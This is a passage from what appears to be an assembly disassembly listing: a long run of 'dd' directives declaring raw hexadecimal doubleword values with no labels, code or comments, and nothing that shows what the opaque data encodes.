		dd 3403172Eh, 41DC92DAh, 0D1A6E1E2h, 0D2002C1h,	0E2B01BFh
		dd 77730F7Dh, 17E7C4B1h, 2D01E4ECh, 2557BEAAh, 0C6C89286h
		dd 0D27200B2h, 0E6C51355h, 2A3D335Eh, 173880D8h, 72503961h
		dd 5A3109A8h, 42003E2Fh, 0A4F6C3D0h, 0EA6F6E00h, 0E8D9555Ch
		dd 2590B2D3h, 8CE04AA2h, 533E44B7h, 7A36004Eh, 7585332Eh
		dd 19A2002Dh, 0CF9763FEh, 9413215Ah, 78401266h,	0D89EF9E8h
		dd 3C3904B8h, 0B2CAE30Eh, 442CEC18h, 3504C19Eh,	555BE501h
		dd 16A8A4h, 8D60D1B3h, 4E77C21h, 595BD912h, 42B7B888h
		dd 98473DD1h, 1508E3C9h, 0D4BEAEh, 871A3F4Dh, 0F1004E26h
		dd 2D58CA23h, 1FF92561h, 80BD3CF6h, 0ABC22F17h,	96486B26h
		dd 0D57B073Bh, 5AF12CE9h, 20F0D155h, 0D31905F3h, 0C036D857h
		dd 0B31C644Fh, 4CAD0200h, 0CB666A5Bh, 0AA4F009Dh, 609781C8h
		dd 0E3002B45h, 0D1941A37h, 28ECBA35h, 294AE51h,	7A1F3421h
		dd 78581460h, 0F8D3CE09h, 90506B1Bh, 644DC073h,	7F9D8A7h
		dd 0EA5FE3CFh, 25147CFFh, 1B3AC088h, 0E224DF04h, 0D20B0073h
		dd 0AA1041B6h, 3B8A422h, 0CC9DFE07h, 9C30C03Dh,	37AC240h
		dd 0A8AFD90Fh, 0ECE096C1h, 0DE393E50h, 0E7CBB79h, 2022C8A4h
		dd 84E97530h, 26BF24A6h, 520E007Eh, 7C5E5FB0h, 0D507F500h
		dd 698D2AC2h, 3C94BEF3h, 0C4EF338Fh, 97BDBF40h,	0A9018CB8h
		dd 0EC3A1C85h, 54C8D373h, 5C230377h, 3F8D3134h,	3729FDB8h
		dd 2A6DC700h, 0BA9117F8h, 769A0055h, 28CC3C59h,	7F0012EEh
		dd 0ECC6BC70h, 93314CEh, 1621F0A5h, 65FC5C20h, 8198F5A0h
		dd 92BA3607h, 0A6453491h, 0B2803895h, 79C079A0h, 7ECBA83h
		dd 604201E8h, 2BA7D068h, 0DF07ACA6h, 3FEAF644h,	41B0B480h
		dd 5C1002E4h, 0AB1435C0h, 1D5BEC68h, 96696818h,	0E047911h
		dd 6BFFDA1Bh, 11797A3h,	0D48D082Ah, 11E7D900h, 85565CA1h
		dd 0A71F3052h, 21BF9799h, 81DD153Dh, 120548BDh,	61C85C31h
		dd 18251D6Dh, 49B758CCh, 0BB0080B9h, 0E0195C14h, 3A2EFE0Ah
		dd 4C00A020h, 2B5F383Eh, 0F1013913h, 18FFCEEh, 68DD9880h
		dd 3870DEh, 0ACA1631Ch,	0A5E3EFC4h, 183E73E6h, 94F6873Eh
		dd 0B98241BFh, 301E2097h, 0CBE8F3E3h, 7C1CB259h, 92803850h
		dd 11E60F8Ch, 31A404C8h, 20512294h, 0DA11CEF7h,	25074D7Ch
		dd 0DEEDE8C2h, 0C3A3673h, 0E0E21799h, 0B900FD61h, 45849D5Fh
		dd 7C68B712h, 4DAF24BCh, 0BB6A8C94h, 0DD0F9559h, 4B34DF0Ah
		dd 0E7A6404Ah, 90C9761Bh, 7E152840h, 191E00B4h,	9D2DEEDFh
		dd 87009948h, 3B57B3CEh, 0F4BD96Bh, 8F151C49h, 0BE380030h
		dd 0E92908Ch, 0E3FE008Dh, 0FCCE804Ah, 0AD000C86h, 0AEA53298h
		dd 0A3F8C97h, 65FB78DBh, 421AB1E8h, 14C2320h, 0F58FA093h
		dd 0A30C3439h, 4A5D88h,	23CAB7A0h, 45FC4205h, 0E19EAE30h
		dd 5AB1C4h, 0CAB9AC6h, 0E3CEB76Dh, 6C69AD1Dh, 1FC01ED5h
		dd 8214987Bh, 940181A0h, 0ADE8643Bh, 72A41920h,	809D08FDh
		dd 3BC7D721h, 24C67E9Eh, 0F91018h, 0AF40B8D4h, 6104565Bh
		dd 0A5DAD598h, 142F0480h, 0A291C582h, 0F274B192h, 0F4C0F563h
		dd 0CC24AF60h, 4B448C7Bh, 0E91B7F60h, 6D30410h,	0D6928BC8h
		dd 0A98F1C00h, 0E0D31693h, 88240951h, 1880E0B6h, 21C78377h
		dd 0FE82E900h, 4A3FD526h, 0DDEB2E51h, 0E85706FCh, 72038A3h
		dd 5D3D0127h, 11B71740h, 0ECEDCCB3h, 0B0236D13h, 1DA0C802h
		dd 1509095h, 4DF121Bh, 0B45C6343h, 0C8DC2100h, 0F7E00511h
		dd 9FB90075h, 177B7AF8h, 3F1CAB4Eh, 2AC0306Eh, 97D40C73h
		dd 0D11C008Eh, 0E5F3C73Eh, 0E1569874h, 0D6F502CCh, 31C5CE5Fh
		dd 90E017A6h, 2C7E053Bh, 5FFE856h, 408ACD98h, 198BE1C4h
		dd 4948069Ah, 85DA003Ch, 1881ED4Fh, 0F3A42C59h,	144D8024h
		dd 97D6C554h, 0B4F6D7B8h, 453F8604h, 0D18391B0h, 1D169383h
		dd 57098B0h, 38A5A931h,	0B5466520h, 9CB920Eh, 8F4D99A0h
		dd 0AB027F5Eh, 6AE5EF4Bh, 21ECAF81h, 0E40C190h,	2B58D0h
		dd 341A925Ah, 1CEFE696h, 0D0BB3124h, 0A5D71700h, 0D7A162Fh
		dd 5CDD14F9h, 8A9DE818h, 6D483492h, 27DA80FCh, 0CDD865h
		dd 0DC177E77h, 0FF21AF37h, 0E059290Fh, 87DD6966h, 3FF81FD4h
		dd 98C40324h, 2EE23032h, 52142200h, 843FB254h, 696E608Ah
		dd 0BF78FD90h, 0FC771907h, 0CDC1E9DBh, 0D8D8C447h, 0FD1E04F4h
		dd 8EA750E8h, 639DB8h, 0C1AF5D82h, 110909E5h, 1F01875h
		dd 1FDACA60h, 580F3839h, 0F220E6C3h, 8CD39EAh, 0B040F90Ah
		dd 0A50B647Bh, 5F7C30E6h, 0B0F311A0h, 80518819h, 35A08111h
		dd 7402E4F9h, 68C14CBBh, 1CD4C036h, 61BA41D9h, 14F4B988h
		dd 0C7C4EEB3h, 32F91D5Ah, 0E4FB8F98h, 9898B304h, 0FAC1C08Ch
		dd 0A85911CFh, 3840955Ah, 64B34F02h, 16740084h,	8F8A6F9Dh
		dd 6A00EBE7h, 0E20E67D2h, 0CFD095A6h, 56A05831h, 1DDF4D7Fh
		dd 0D75BC119h, 2180BD08h, 5D59339Bh, 970039A4h,	0FCE585CBh
		dd 91EB9F48h, 0B1C31800h, 0FF1E6719h, 2F4538CCh, 0A00897A4h
		dd 0A064C0E7h, 18EFB0EEh, 0E47E898Fh, 0E63F10A0h, 868CD840h
		dd 413021h, 71EE05E3h, 1AFAD06h, 81EC3900h, 0FC5F4B75h
		dd 0CAF80136h, 0FF201538h, 0E46268h, 35ED705Dh,	2EEEA4E4h
		dd 9398C01Ch, 10502F5Ah, 0A8C01D8Bh, 0F626E9C0h, 77F470E1h
		dd 71671705h, 0B048D556h, 59D9C1ACh, 0DEDF2101h, 10D6B099h
		dd 0A56E665h, 815AF88Eh, 715D98A8h, 3F264428h, 18024092h
		dd 0A094C7E2h, 0E656DE2Ch, 228746E3h, 62240D3h,	0ED369B00h
		dd 0FB4E4CD6h, 0C08217h, 98409427h, 0FEAF09BAh,	7C357440h
		dd 0C80A691h, 1C07EE6Fh, 0C618670Bh, 0EC9E8C65h, 2CA5153Dh
		dd 69072824h, 44F591A0h, 20893235h, 1BA068BBh, 0D0335Ch
		dd 0C1DEFDD6h, 1AE81CFh, 0F9747D88h, 40447EBCh,	0C9F423E4h
		dd 3F546D07h, 0AE7043B2h, 263D12E3h, 0E89F8Ch, 1F5775D3h
		dd 28EE6BC5h, 55512F01h, 10F6AABCh, 609D8CE0h, 0CCEF40CFh
		dd 0D200EED4h, 51D36197h, 3C07BAFh, 92591986h, 0D689FEFCh
		dd 0C8F44B18h, 9FF5C0A8h, 2B03C7FBh, 0F4A5BCD0h, 0D7501EB8h
		dd 974AC035h, 5169077Eh, 70E1A70Bh, 40201431h, 0E50BE8D2h
		dd 80C0AABAh, 755C04E8h, 0C08A6036h, 0D79FB41Ch, 66D59705h
		dd 648AD993h, 0B9538D20h, 0A0CB8420h, 58F69067h, 0EE58CF1Bh
		dd 3B7223Ch, 0A9B9053h,	16A87525h, 1011C26h, 0E5929E57h
		dd 3020C207h, 3492BFh
		dd 1B9CCAE1h, 79F3CBDEh, 0EEC81107h, 2EF0E846h,	8B69EAh
		dd 9A5A2557h, 40CD829Dh, 81BEB500h, 411963BBh, 0C5560217h
		dd 83C94B3Fh, 0AD0DE4C4h, 1EF950E1h, 6308D8h, 9A8515B7h
		dd 0BC29B0C3h, 823DA709h, 3AF42301h, 0C16CD861h, 0E8500091h
		dd 0EDBDDFCh, 0A5009CE3h, 2B257645h, 0C07EF86Ah, 0DFECA0E9h
		dd 43FA370Eh, 0C360AC02h, 58244DB2h, 28991EC4h,	0C53FCA69h
		dd 0DC1F09E9h, 71AFB440h, 0F943800h, 2281C125h,	0A2FC093Fh
		dd 0D890BC56h, 160CD373h, 71A7AF14h, 0FB770015h, 0D59D2BBCh
		dd 5F007D03h, 0D420429Ch, 128325D9h, 90FA182Dh,	0D1F698CCh
		dd 4C9A7A00h, 0CDD9D032h, 24DC1673h, 23FCB4BBh,	8086713Ah
		dd 32E3338Bh, 0ADFD41h,	0A7F0556h, 26455DFEh, 0EF821807h
		dd 0E670C2CFh, 7014F09h, 1CA53B4Eh, 3F20D3B1h, 39F18C90h
		dd 8666E300h, 528B13CBh, 0D17A0112h, 0ED6D389Ch, 8A41F08Ch
		dd 7983921Fh, 0BE4B1601h, 0AEF087E7h, 13C907A5h, 40D303F3h
		dd 624859E6h, 1FDCA700h, 955A211h, 46EC0084h, 8F9765C7h
		dd 4303516Dh, 264B105Dh, 0E6601832h, 1AA1481Ch,	80C15A77h
		dd 0E97BFB7Eh, 17BC6881h, 0D3DB35EAh, 56862800h, 900C4CACh
		dd 6BFC177Ch, 703E1EF8h, 0A7C22B21h, 55659300h,	26495FF5h
		dd 8FF018FAh, 5EE570EBh, 68164D30h, 32C912D9h, 1CC0E2F4h
		dd 9B9908C0h, 0EB519601h, 0EA298538h, 0C1FDA1D0h, 9AF92020h
		dd 6D07C059h, 6D2648h, 0B2580DBBh, 46E19E6h, 503328Fh
		dd 0E795C092h, 8C00F459h, 9E3F0702h, 356691h, 0C6A245BFh
		dd 2D03B213h, 759D9207h, 39B032DDh, 0BDA9FB0h, 152F72F0h
		dd 49B71D02h, 0B14B79E0h, 0EF5BF200h, 464ED4A3h, 52500E17h
		dd 67404482h, 0B25955DDh, 0E7E60C00h, 0DBC83EEEh, 286A07EDh
		dd 607AAA45h, 0BF77728Dh, 29A59600h, 0C5F76985h, 60CE000Bh
		dd 506E84DFh, 1603CA9Ah, 7B211E43h, 6D1AA874h, 0B7BC0060h
		dd 0F73C01C0h, 18C07FEFh, 0C7DBF8CDh, 0E57C5Eh,	5705D13Eh
		dd 0DA6F0BC2h, 0FA78F3F8h, 1D36331Eh, 0FCDC3Bh,	767BF775h
		dd 3429043h, 35C448CFh,	503EBBB2h, 7EC70441h, 99060C6Eh
		dd 520018D0h, 2FB8731Dh, 6090EFh, 8C6B65CFh, 998D4458h
		dd 4CF4EA3Eh, 124507F4h, 4AC34336h, 0D94EC3F8h,	73D042FEh
		dd 408C6058h, 0C408CC72h, 44AC6E03h, 0C29242Dh,	20376D18h
		dd 4A64371h, 0BEE8B100h, 0DA76B973h, 86571FF9h,	74D8B288h
		dd 87F39F43h, 279023E0h, 81D3B61Dh, 0F7555AC5h,	2C8C8C1Fh
		dd 0F9A530B3h, 6219E0D7h, 3E6B074Bh, 0E0F4355Dh, 724EFFE2h
		dd 0B8420815h, 56AF0628h, 50187DB5h, 8875C043h,	2158DAF9h
		dd 25106085h, 0A6181442h, 4CEC0060h, 74E8FBDCh,	7318B62Fh
		dd 5158F85Fh, 770320FFh, 0F9409080h, 6E1FC91Eh,	2709C101h
		dd 918651AFh, 8A63CF61h, 58627C89h, 83F1B784h, 87696D79h
		dd 841940FDh, 57584431h, 8308E348h, 915373A2h, 4841F4E5h
		dd 3B0F7CC2h, 544D98E8h, 18B93748h, 38FB620Bh, 0E100D233h
		dd 0B7D96A6Bh, 18430A19h, 0A97E699Eh, 20188C1Fh, 6031A78Dh
		dd 84A80058h, 0B0CC927h, 0A1C52F94h, 1C008677h,	44AAB4C6h
		dd 54277E59h, 0CB894D5h, 3C9C34C5h, 9500A011h, 4E21586Eh
		dd 289F7A8Dh, 718463FDh, 0E56F034h, 444B6E60h, 3B8A0C40h
		dd 0E9F078C7h, 0AFFE0B06h, 10CD0Eh, 7A804EE4h, 0A908C88Ch
		dd 6A101F06h, 0A06938ACh, 88F5FE30h, 0B274B850h, 0EB5B130Ah
		dd 0C0A0A01Ah, 8DB3304h, 97CEAFh, 8F0920E1h, 7298C4B1h
		dd 0D90C2403h, 3A29FB03h, 0C077A392h, 926E81F3h, 743CE458h
		dd 25AF58CFh, 1C364C00h, 0B9D2169Fh, 0AC08DF06h, 57481FECh
		dd 0A7C0405Ah, 0B8C7278Dh, 7A007747h, 0CB639236h, 20928548h
		dd 2FAF5A07h, 0D2C7DFDDh, 327B48CCh, 9921A29Fh,	6A1054ACh
		dd 11F2BCA9h, 40C68BDDh, 0C0C0E244h, 0A1366D40h, 3B09DB0Ch
		dd 204B734Fh, 0DEAF2580h, 1109446Fh, 0E60CF450h, 21FEA122h
		dd 8A0CFA3Ah, 209B311Eh, 3F1802B5h, 0E2F1F089h,	656900BCh
		dd 0ABD23A40h, 43005DF5h, 30EABEA4h, 6CEAAh, 0A74F6983h
		dd 9ADA1C07h, 7070F426h, 0C275C08h, 47B8CF1Ah, 24E6763Dh
		dd 2D80F06Ah, 5ACA60B4h, 0CEFF0724h, 46046CE2h,	0C03211Dh
		dd 57E6605Eh, 11A8F852h, 80690089h, 8FEE8C3Ah, 0DB4CD7F9h
		dd 435210ACh, 0FB48F803h, 110340FAh, 5CE0CC32h,	6F33A06Ah
		dd 8E465C1h, 0B7C44008h, 21A3E0B0h, 2BE24400h, 5ECCFBDDh
		dd 58D56145h, 528F527Bh, 348021D4h, 0C56D7731h,	485C8800h
		dd 0D6C3DDA4h, 9D600A51h, 1A86846h, 4F761AD9h, 23A4501Fh
		dd 6401F4E7h, 2D4E4053h, 898089Eh, 49C212Bh, 2C1E2A00h
		dd 0B85410A2h, 8D6C2823h, 0F5A70AA0h, 3A2C6E9Bh, 668E9D8Ch
		dd 0E400B810h, 148C3FECh, 86BEF7h, 3CDE34A1h, 0C1F8CBEAh
		dd 42090E75h, 0FEE83302h, 9DFE00EAh, 9FBF5B5Dh,	34AF3900h
		dd 33DF789h, 0FD04A59Ah, 4FA26C40h, 9B9F0E19h, 0B6C65E8Eh
		dd 533020EAh, 1D4C29AFh, 0F3DF005Bh, 0CBACE434h, 41C0C4B4h
		dd 0F2A9BAAFh, 0D1221655h, 48300013h, 6F2BAC59h, 9B06A5F2h
		dd 99BDB554h, 67C0030h,	0B3E77F68h, 221E3883h, 5A33AAADh
		dd 9C30BFDDh, 69B35B5h,	9A8167D1h, 7900B152h, 7D88B75Fh
		dd 98ACC040h, 3990CEh, 6A747780h, 4439213Ch, 8AF9F706h
		dd 3B394F9Bh, 0FC80BA3Ah, 0D43EBD17h, 8D2550Ah,	1120DD18h
		dd 0B0FCC0A2h, 4E835E31h, 560039D6h, 0CD0B7EE9h, 0FA190109h
		dd 5C849E7Ch, 7545CCDDh, 505E970Ch, 149549A2h, 8C18E413h
		dd 90C7B415h, 77EE3F00h, 0B944285Ah, 0F583E200h, 0D3A0E7E1h
		dd 0ABE80718h, 6181EA49h, 57B3CF8Ah, 0E65F90CCh, 7B0034B0h
		dd 0A4C81B2Ah, 11328D9Bh, 1D957712h, 68F3FD7h, 0A46A0134h
		dd 8BE252Fh, 4E201830h,	2A0094ADh, 0C130E95Eh, 0F39B3E13h
		dd 5939E181h, 0F4D70268h, 0B3FE4195h, 0CFAE7C07h, 9030BC0Ch
		dd 0DEFAAA67h, 0DDE1C0C9h, 746D321Eh, 39C3AC0Fh, 0D4A320BAh
		dd 0F0D513h, 0E5ADB196h, 0EDAA9E8Ah, 626339C0h,	67B3FD2h
		dd 8264F50Dh, 0D4490865h, 0F9420708h, 0B750FFD2h, 0E8D523h
		dd 0A3A51283h, 84EDD3F4h, 0D709BB05h, 0B440A490h, 26411004h
		dd 0E96D68E1h, 51D018B8h, 39008D31h, 27AC79C9h,	0FD2BADh
		dd 661C21D5h, 0FF13FEB9h, 9BD29F04h, 0C100F939h, 6D8CCFDEh
		dd 32A42400h, 66ECFB69h, 174000F5h, 0DD81FF8Dh,	0CC18DAA9h
		dd 9A699EC6h, 7741C03Eh, 0C196AB54h, 5300937Ch,	0DB27E155h
		dd 6826020h, 3ABD9E79h,	1300F96Dh, 0A3A789FDh, 2A4CC9AFh
		dd 0C84D9Ah, 6F9E8F0Dh,	0CE7CED3Fh, 39FD6900h, 5F810104h
		dd 6AF81832h, 4CC6409Bh, 9C62150Eh, 0F9521DC3h,	0F8A2DC04h
		dd 358FE548h, 0F420E0E4h, 0F0167358h, 0C1890018h, 7A2AA226h
		dd 9024A14Dh, 0F9858871h, 0A84041D1h, 0DADC5350h, 0E7D3AE8h
		dd 0CE954F07h, 32EA108Fh, 3303BED1h, 18288169h,	65C30Ah
		dd 8D161D39h, 450F9580h, 9BC9433h, 0FD210290h, 17088EE8h
		dd 0C358C040h, 0A441B617h, 0B3B7E502h, 0C87440D1h, 20F14994h
		dd 90965473h, 5168009Dh, 0F902DF9Eh, 300370CCh,	0BEF2F628h
		dd 9659047h, 0FB18292Eh, 8D150048h, 4707957Fh, 0FC184486h
		dd 0C98E130Ah, 6961E88Ah, 98C04ED3h, 0A5640009h, 96DFD1E3h
		dd 6EB80134h, 0D0ECEE0Ch, 394019h, 0BC4232D7h, 94C949C6h
		dd 0F5228E00h, 0F9C01914h
		dd 44904CD8h, 169AB8C2h, 44472A42h, 87A86709h, 5912EC77h
		dd 0FA7C8098h, 0E838B38Bh, 6FA406DAh, 0C10ECFAFh, 0C8E6371Fh
		dd 5D23E400h, 244A2E6Eh, 80009451h, 1A28EAA8h, 31C05AD4h
		dd 44A92C5Bh, 0ABE00E8h, 0D2ADFA63h, 0E9B85F3Dh, 8BD9C612h
		dd 957023h, 85F29481h, 0E7B528FCh, 6788A300h, 0C6D6FAADh
		dd 7DFDE44Dh, 15173252h, 0B04009D1h, 6A0107E5h,	0BFE10D73h
		dd 0E850C5B4h, 74C2418h, 0EA53141Ch, 0CF47E11Eh, 0DD64243Eh
		dd 0F8979029h, 0A6DF873Dh, 2681D3D4h, 0A03A2AFCh, 6C027FF1h
		dd 0D74493B6h, 20AC4D7Bh, 0B71A0060h, 0E909C1DFh, 0EF00D067h
		dd 7EF5EBF6h, 4D654E5h,	2A36DC0Dh, 89B48910h, 2DAA848h
		dd 48CDA9DCh, 90AE9A0Ch, 996201B8h, 0C61D885Eh,	6432E0h
		dd 2C90ACB9h, 148710Dh,	0B1956253h, 0E0C983DDh,	5B7586CEh
		dd 988CB24Ch, 60B497A8h, 6D7D41D2h, 0F8005193h,	1D80BED4h
		dd 1E5D1566h, 493618B7h, 7830E6DFh, 0E46077A3h,	8B151B99h
		dd 0F34B00F5h, 33FF0A10h, 8A008209h, 0AEEEE8F2h, 1E51CA80h
		dd 0C619DCE0h, 79C1F1C9h, 0CCCFD018h, 927C0649h, 84A50014h
		dd 3F0F1299h, 9075478h,	0DDE3DFD4h, 0C49D60A0h,	0C86179A9h
		dd 6347CF39h, 0B8807B70h, 0B5EB040Ch, 0C0A5D7B6h, 1817A21Ch
		dd 94339514h, 67AE008Ch, 63E8C6ABh, 0CEDC2E96h,	39876018h
		dd 926072A9h, 802EC861h, 78EA5051h, 0FA7D003Bh,	0C2B9BCE1h
		dd 14076956h, 9C3050AFh, 0E8DDCBA0h, 0E0D305FDh, 586D17h
		dd 846EB0ECh, 0DB83948Fh, 0CF2C01E1h, 6474A445h, 7EEEE4D1h
		dd 0F8EDF32Ch, 65BD8B80h, 0B9B42F15h, 0CEA21E60h, 6680DA67h
		dd 3A4060DBh, 0D50073FEh, 839BD826h, 0BDC9391h,	42862A47h
		dd 8806AC84h, 0F20305C0h, 0A636843Fh, 2750A74Ch, 0ED3D1A9h
		dd 380971AEh, 381214E9h, 98C0Bh, 0C848FB0Ch, 9318B248h
		dd 26C91C31h, 0B077DCC4h, 558300FEh, 528AFA56h,	0A0A93709h
		dd 77C02295h, 0F38AA4Dh, 0DD7FF9BCh, 0FD884042h, 0A3DC41FAh
		dd 0F1ADD820h, 0A67808A8h, 2A6A4C8Ch, 0E4880A24h, 8C9884FAh
		dd 67F20CA0h, 8E422A3Dh, 0A079E651h, 241A0D4h, 0F1C12C9Dh
		dd 0CDD00560h, 0C6F024EBh, 6C98A124h, 262F683Ch, 14C0E404h
		dd 5894B28Dh, 7E02C3Fh,	0DE078DFCh, 38D3F123h, 0E20B5DD0h
		dd 794A69Dh, 850F089Fh,	0D42AD1BDh, 0C13FE840h,	650D603Fh
		dd 98406DF8h, 15BACCF7h, 55DC02DEh, 6C5E9DE6h, 99170C51h
		dd 0C4CE0806h, 140630C1h, 2EA5FD39h, 8A79B607h,	0C760AD51h
		dd 394C7Eh, 0F2C48DDFh,	6CA986DCh, 9B16C31Dh, 36F4B8C0h
		dd 0B152CF42h, 0F1EC00DCh, 9D074AE7h, 6F045C17h, 0C4CCED03h
		dd 0F9BAB9A7h, 0D08461EEh, 0C3006462h, 86197783h, 0F0129B8Ah
		dd 0F490F273h, 4C2FD7D1h, 3C06489Fh, 394425D0h,	0C0BCA550h
		dd 3DEEC605h, 5C80D6E3h, 26B73410h, 3CEBFC3h, 67D5C746h
		dd 87A59B90h, 0B401D417h, 38899C4Ch, 9FF54423h,	0AE139h
		dd 0C1EC044Ch, 0C2D82BF6h, 0DBBE8049h, 33BD6448h, 892AC37Fh
		dd 0CF0118E0h, 30053A1Ah, 8ADD9F77h, 0D53FC080h, 4137BDBCh
		dd 1669A900h, 8204886Bh, 13F835h, 0DF624D49h, 47E8C8EFh
		dd 0ED124407h, 3C80AFEAh, 371FDEEh, 0CF460A88h,	80304C78h
		dd 0A917B887h, 7DEA800Eh, 0F1294914h, 48B229Ch,	4E86B179h
		dd 0B2788C1Ch, 76F410C2h, 33D041C6h, 4F15422h, 310C0Eh
		dd 0E7462F78h, 1F192BC2h, 4FD8AF10h, 0BC717B05h, 4A046E32h
		dd 6231FC2Ah, 30BE8FD0h, 3A0CD204h, 9D3ECC4h, 31C71BBBh
		dd 8455051h, 181C281Ch,	4240650Fh, 140CF998h, 1E7255F8h
		dd 0CF54DCC1h, 0D19DC74Fh, 8A2828CCh, 0CA7CC418h, 34049560h
		dd 77B82128h, 0FB1C4318h, 0B1108962h, 2850BA15h, 83456010h
		dd 0C1040811h, 0C60A95F9h, 0CC19D1F0h, 0CAC90F81h, 1C4609CAh
		dd 0A0280A6Bh, 0A55008B2h, 141F730Ch, 64488F14h, 8A779981h
		dd 6FD15850h, 0B45B031Dh, 35010B16h, 180208BEh,	73802840h
		dd 39EE01F6h, 0F532B84Ah, 1D08A744h, 0FCFEDE90h, 574C44BAh
		dd 8250C0B8h, 986D4132h, 8697018Ch, 7F76858Eh, 0F42040ECh
		dd 0B905AB7Ch, 0A928C66Fh, 2BD8DC90h, 0D4FE4CD4h, 669B131h
		dd 0E08064C4h, 7A2D8F19h, 0F8700A48h, 1C77F1Ch,	87091347h
		dd 243D9B32h, 0D50CD190h, 116C6FC8h, 76182673h,	0DCEA0F75h
		dd 69D0B6C6h, 0F4286C1Dh, 8D1648F0h, 67B200A3h,	0AE998CF9h
		dd 0BD74FC25h, 0AB013074h, 0EF7BA97Dh, 0F431E354h, 0D2C71830h
		dd 78904CA9h, 6C3CE108h, 8BF4122Bh, 488D1C89h, 9308F963h
		dd 98008798h, 9E98A95h,	230006Ah, 0A9E28819h, 0EA01276Bh
		dd 5E9560ADh, 0ABECA57Bh, 1EE104BAh, 0C852E9BFh, 0BC0AB210h
		dd 8C7CA266h, 4010CF0Fh, 5AEA4755h, 6E300164h, 18E11619h
		dd 0EF898033h, 32E40AC2h, 22CF1FD0h, 796580E9h,	1395ECA4h
		dd 41B8CA54h, 6BE1B90Ch, 50BD11C0h, 245E8876h, 3EB4CA8Eh
		dd 0B0601A00h, 8353D403h, 6A95021Eh, 8FE1CC62h,	930C1D08h
		dd 38707AB4h, 0E00A0083h, 9D6BD93Dh, 0FB483759h, 71AA1804h
		dd 0A09AE221h, 676C26B0h, 0E538A1EFh, 0C8B00A8Bh, 18851BACh
		dd 9616B2D0h, 0F44F6D00h, 7B5FA033h, 0BA9CB894h, 0A8D0574Ch
		dd 2CE11060h, 5FF062F3h, 7CD88209h, 0E8382919h,	0FA895E34h
		dd 1A792907h, 72844EB8h, 2C402504h, 8060F05Ah, 167432h
		dd 892298F1h, 0DAF5202Fh, 7D341707h, 0FB109A74h, 0C988062h
		dd 3C8C25A8h, 50286C58h, 3340A4C7h, 0F44E0721h,	10ED66B8h
		dd 4536A862h, 16307C3Ch, 92181AC6h, 982AC8h, 89C9A6F5h
		dd 0AF37274Eh, 0D4D10E09h, 0B8500418h, 4F5EA641h, 0B3C9824Ah
		dd 0CA5B28C9h, 0F6B804E8h, 0E4237D49h, 42F71B77h, 0E45AD9C8h
		dd 0F0EAD881h, 59E86A83h, 848CDE52h, 44803BBEh,	8B7A132Dh
		dd 730CE148h, 100749D3h, 4C9EB60h, 308AD918h, 34E44F1Dh
		dd 0ED884E28h, 4C14CB6Fh, 90F420h, 9D609850h, 88D72580h
		dd 60097C8h, 0ECD86D4Ah, 213ED60h, 0BDB12E83h, 8086A72Ah
		dd 7B0691D5h, 4EEFEA12h, 48CA5034h, 9F29C8F5h, 0D9ED5A42h
		dd 27830460h, 0A58881AEh, 0EC5850F8h, 3264706Ch, 9660F390h
		dd 0C6502066h, 0C101C3F0h, 447D7060h, 808DC85Ah, 8320F94Bh
		dd 4D7B4CB0h, 85603EC5h, 1903B848h, 0DEF6C4FFh,	344C188Eh
		dd 6E839E78h, 39EF14D3h, 6B1CE171h, 48B0AEE3h, 4E2711B0h
		dd 4188245Ah, 9C6D535Ch, 0CB008D3Eh, 45EF5872h,	930FC15Ah
		dd 0C06A3016h, 0DAAEEA54h, 0C9A40A90h, 8D8CD7D9h, 2D10A03Bh
		dd 2C8313E0h, 7116E001h, 9312E6D4h, 47950460h, 6040B496h
		dd 0A1CFB158h, 118068A0h, 0F60FE1EFh, 5C98D8D9h, 0C8C17C6Ah
		dd 0FC03131Fh, 0B0E26Dh, 5B92B810h, 46FD1105h, 0EB3D7B14h
		dd 98742A8Ch, 93B3C500h, 0A5F405ADh, 472A1646h,	664C0062h
		dd 0E449EF28h, 0FCF1DCF3h, 0EC194D80h, 0BD7D00D8h, 7893DFD0h
		dd 6FED9A7Bh, 525F1B0h,	71B0B706h, 832CC050h, 0BC50ADD2h
		dd 45505E84h, 0FF00B26Ch, 6AFA1766h, 5426A9CEh,	1581B0B4h
		dd 0C08A505Fh, 0EA7C6300h, 0D2BD3AA7h, 77D87A00h, 16DE02A5h
		dd 0D447001Ah, 5FD19A7Ch, 0D8983CF9h, 0D6499860h, 0B411999h
		dd 1CA88B1Dh, 0DAC89810h, 12E00241h, 0F6467105h, 2A71C39Bh
		dd 15D81964h, 0C801BC79h, 0D37AD130h, 0F02D6A9Ch, 0CE64B200h
		dd 423952EEh, 4767C805h, 0AC04A3D7h, 1DF61Ah, 9C1EA0F0h
		dd 0E11C4476h, 0FA7B67h
		dd 11647329h, 32AD67Ch,	0B13248D3h, 2909F075h, 458679h
		dd 67092E4Eh, 0B091384Fh, 65554C00h, 7E7AB358h,	0C8D0B524h
		dd 8B8E5D00h, 0E9A193Bh, 0AFC14479h, 0D3C6D7C0h, 4C00B82Eh
		dd 35CEF66Bh, 4513FBh, 0A9E643F8h, 97DAD1C5h, 18000E4Eh
		dd 0A5A3CFBDh, 0F6E300CAh, 71D14C54h, 0F9071FDDh, 148FC513h
		dd 76D0E2C2h, 19C2067Ah, 8030A951h, 17790827h, 3B7B2682h
		dd 0B4803920h, 0F24BC3A3h, 9B007454h, 0E267DF4Dh, 0C8F40E1h
		dd 0F6EA8144h, 6C00BB38h, 321D386Fh, 0C89820h, 0B24A8BBCh
		dd 0E9DEAEFh, 61B161C3h, 0E8784Dh, 8499F6F2h, 7462336Fh
		dd 1129E600h, 0A2AB66C1h, 2F670C23h, 3A40F241h,	0BBC8DC41h
		dd 63DB838Ah, 0A14684D0h, 0B63C3400h, 0D10AB8A9h, 434A00EDh
		dd 0CBE0333Eh, 9439D62Fh, 6689800Fh, 6A38EA53h,	0FBBD00B2h
		dd 1AD0354Fh, 0D40E02BBh, 86698632h, 206DBEh, 6AF16472h
		dd 22F4740Eh, 0EF5D4E00h, 0EBF267FAh, 6B2E4ACh,	45882E5Fh
		dd 0ED466109h, 0BE35B900h, 0C1FF8BDCh, 1C934484h, 1DF1763Ch
		dd 2F800229h, 0F8C1F2C4h, 3E20F95h, 0E4028A0h, 406DADC9h
		dd 0FF0FD07Bh, 5BBDB0h,	4E78DBD2h, 0AF79035Fh, 0AC81A349h
		dd 9FD0BAA1h, 87F8E320h, 4CFA6B56h, 2A9D3260h, 9E0E0609h
		dd 498F39B2h, 1D55E2A0h, 11BCAB30h, 32D4C5Dh, 262B5605h
		dd 91853D9h, 7D205410h,	412D0188h, 0CBECF803h, 693883D2h
		dd 0D8BC1F45h, 0E9827Ch, 3839FCDDh, 2FB9FE93h, 0D04CC0CEh
